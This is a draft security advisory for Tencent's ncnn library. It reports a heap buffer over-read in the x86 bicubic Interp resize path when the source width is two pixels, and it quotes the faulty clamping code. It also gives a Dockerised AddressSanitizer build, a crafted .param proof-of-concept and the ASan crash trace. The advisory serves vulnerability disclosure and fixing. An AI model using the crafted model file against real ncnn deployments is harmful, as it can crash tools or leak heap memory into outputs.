All advisories
Draft

Bicubic Interpolation Heap Buffer Over-Read

Tencent/ncnn

Affected packages

ncnn other
Affected versions= 5e66f094bf7c597b4569cc014a8be84104748678
Patched versionsNot specified

Description

Bicubic Interpolation Heap Buffer Over-Read

Affected commit: 5e66f094bf7c597b4569cc014a8be84104748678
Sink: src/layer/x86/interp_bicubic.h:317 in resize_bicubic_image
Sanitizer verdict: heap-buffer-overflow

The observed crash lands in src/layer/x86/interp_x86.cpp:368, which is the ISA-specialised copy of the reported code path.

Summary

A model containing an Interp layer in bicubic mode whose source width is exactly two pixels drives the x86 resize path to a negative source offset, so it reads two floats before the input tensor's heap allocation and crashes ncnnoptimize during shape inference. The attacker controls both the Input layer's declared width and the Interp output size in the .param file; no weight file is needed because ncnnoptimize accepts null for the binary stream. The bytes read from before the allocation are multiplied into the resize output.

Detail

cubic_coeffs builds the per-output-column source offsets. Every clamping branch that fires near an edge rewrites sx to w - 3, which is only a valid index when w >= 3. There is no lower clamp and no rejection of tiny widths:

// src/layer/x86/interp_bicubic.h:68
        if (sx >= w - 1)
        {
            sx = w - 3;
            alpha[dx * 4 + 3] = 1.f - alpha[dx * 4 + 0];
            alpha[dx * 4 + 2] = alpha[dx * 4 + 0];
            alpha[dx * 4 + 1] = 0.f;
            alpha[dx * 4 + 0] = 0.f;
        }

        xofs[dx] = sx;

The consumer then treats xofs[x] as the second of four taps and unconditionally indexes one element to its left:

// src/layer/x86/interp_x86.cpp:298
                    int sx = xofs[x] * elempack;
                    const float* Sp = ptr + sx;

// src/layer/x86/interp_x86.cpp:366
                    for (; ep < elempack; ep++)
                    {
                        outptr[ep] = Sp[ep - elempack] * a0 + Sp[ep] * a1 + Sp[ep + elempack] * a2 + Sp[ep + elempack * 2] * a3;
                    }

The PoC declares Input input 0 1 data 0=2 1=3 (a 2x3 blob, w = 2) and Interp interp 1 1 data out 0=3 3=3 4=3, i.e. bicubic resize to width 3. For output column dx = 0, scale = 2/3, fx = -0.1667, so sx = floor(fx) = -1; the sx <= -1 branch resets it to 1, but 1 >= w - 1 == 1 then fires and sets sx = w - 3 = -1. With elempack == 1, Sp = ptr - 1 and the tap Sp[ep - elempack] with ep = 0 evaluates to ptr[-2] — 8 bytes before the 100-byte input allocation, precisely what AddressSanitizer reports.

Reproduce

Build and run (writes the Dockerfile, builds ncnn with ASan, runs the PoC)
mkdir -p ncnn-poc-bicubic-interpolation-heap-buffer-over-read && cd ncnn-poc-bicubic-interpolation-heap-buffer-over-read

cat > Dockerfile <<'DOCKERFILE'
FROM ubuntu:24.04

RUN apt-get update && apt-get install -y --no-install-recommends \
      git ca-certificates g++ cmake make python3 python3-pip python3-numpy \
      protobuf-compiler libprotobuf-dev \
 && pip3 install --no-cache-dir --break-system-packages onnx protobuf \
 && rm -rf /var/lib/apt/lists/*

RUN git clone --depth 1 https://github.com/Tencent/ncnn.git /ncnn

WORKDIR /ncnn
RUN cmake -S . -B build \
      -DCMAKE_BUILD_TYPE=Debug \
      -DCMAKE_C_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_CXX_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
      -DNCNN_BUILD_TOOLS=ON -DNCNN_BUILD_EXAMPLES=ON -DNCNN_BUILD_BENCHMARK=ON \
      -DNCNN_BUILD_TESTS=OFF -DNCNN_VULKAN=OFF -DNCNN_OPENMP=OFF \
 && cmake --build build -j"$(nproc)"

ENV ASAN_OPTIONS=detect_leaks=0
WORKDIR /poc
DOCKERFILE

cat > poc.param <<'PARAM'
7767517
2 2
Input input 0 1 data 0=2 1=3
Interp interp 1 1 data out 0=3 3=3 4=3
PARAM

docker build -t ncnn-asan .
docker run --rm --network none -v "$PWD:/poc" ncnn-asan \
  /ncnn/build/tools/ncnnoptimize poc.param null out.param out.bin 0

AddressSanitizer output:

=================================================================
==1==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x510000000038 at pc 0x5570c801794c bp 0x7fffe68dd4f0 sp 0x7fffe68dd4e0
READ of size 4 at 0x510000000038 thread T0
    #0 0x5570c801794b in ncnn::Interp_x86_avx512::forward(std::vector<ncnn::Mat, std::allocator<ncnn::Mat> > const&, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/build/src/layer/x86/interp_x86_avx512.cpp:368
    #1 0x5570c7f3b69b in ncnn::Interp::forward(ncnn::Mat const&, ncnn::Mat&, ncnn::Option const&) const /ncnn/src/layer/interp.cpp:455
    #2 0x5570c2b8df2b in ncnn::NetPrivate::do_forward_layer(ncnn::Layer const*, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:721
    #3 0x5570c2b7fb7f in ncnn::NetPrivate::forward_layer(int, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:167
    #4 0x5570c2bdf9e9 in ncnn::Extractor::extract(int, ncnn::Mat&, int) /ncnn/src/net.cpp:2939
    #5 0x5570c2a713c0 in ModelWriter::shape_inference() /ncnn/tools/modelwriter.h:435
    #6 0x5570c2aeeeee in main /ncnn/tools/ncnnoptimize.cpp:2844
    #7 0x7cdc297071c9  (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #8 0x7cdc2970728a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #9 0x5570c2a6e624 in _start (/ncnn/build/tools/ncnnoptimize+0x2a1624) (BuildId: b1911b1bfb480c5a294bfb9d0e0f7bbde3aaf530)

0x510000000038 is located 8 bytes before 100-byte region [0x510000000040,0x5100000000a4)
allocated by thread T0 here:
    #0 0x7cdc29d80f1d in posix_memalign ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:145
    #1 0x5570c2b3ea4f in fastMalloc /ncnn/src/allocator.h:62
    #2 0x5570c2b3ea4f in ncnn::Mat::create(int, int, unsigned long, ncnn::Allocator*) /ncnn/src/mat.cpp:373
    #3 0x5570c2a6fc6a in ModelWriter::shape_inference() /ncnn/tools/modelwriter.h:389
    #4 0x5570c2aeeeee in main /ncnn/tools/ncnnoptimize.cpp:2844
    #5 0x7cdc297071c9  (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #6 0x7cdc2970728a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #7 0x5570c2a6e624 in _start (/ncnn/build/tools/ncnnoptimize+0x2a1624) (BuildId: b1911b1bfb480c5a294bfb9d0e0f7bbde3aaf530)

SUMMARY: AddressSanitizer: heap-buffer-overflow /ncnn/build/src/layer/x86/interp_x86_avx512.cpp:368 in ncnn::Interp_x86_avx512::forward(std::vector<ncnn::Mat, std::allocator<ncnn::Mat> > const&, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const

Credit

Zheng Yu @ DepthFirst